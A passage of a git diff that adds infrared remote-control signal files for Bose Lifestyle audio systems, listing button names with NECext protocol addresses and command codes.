00 00 +command: 49 00 00 00 +# +name: POWER_ON_OFF +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4D 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 4D 00 00 00 +# +name: CD_DVD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 53 00 00 00 +# +name: CD-DVD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 53 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 55 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 56 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 57 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 57 00 00 00 +# +name: I<<_SEEK +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 57 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 58 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 58 00 00 00 +# +name: >>I_SEEK +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 58 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 5C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 5C 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 60 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 60 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 60 00 00 00 +# +name: CD# +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 63 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 64 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 65 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 66 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 67 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 67 00 00 00 +# +name: UM_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 68 00 00 00 +# +name: UM_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 70 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 70 00 00 00 +# +name: SETTING +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 80 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 80 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 80 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 8C 00 00 00 +# +name: DVD_MENY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 90 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 90 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 9F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 9F 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: A0 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: A0 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: A0 00 00 00 +# +name: LIBARY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B0 00 00 00 +# +name: STORED_MUSIC +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A0 00 00 +command: B3 00 00 00 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: C0 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: C0 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: C0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA A0 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: CC 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: D0 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: D0 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: E0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: E0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir new file mode 100644 index 000000000..a9144feec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 05 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 15 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 18 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 45 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 45 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 45 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 45 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 69 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A1 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A1 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA A1 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A1 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A1 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir new file mode 100644 index 000000000..40a6a78f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 05 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 15 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 18 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 46 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 69 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A2 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A2 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA A2 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A2 00 00 +command: CC 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA A2 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A2 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir new file mode 100644 index 000000000..e5cd709a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 05 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 15 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 18 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 69 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A3 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A3 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA A3 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A3 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A3 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir new file mode 100644 index 000000000..b9ca7fe5c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 05 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 15 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 18 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN<< +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 58 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 59 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 5C 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 63 00 00 00 +# +name: SIMILAR_(ENCOR) +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 69 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 8C 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA A4 00 00 +command: 9F 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA A4 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: BA A4 00 00 +command: CC 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA A4 00 00 +command: CC 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA A4 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir new file mode 100644 index 000000000..79185e367 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 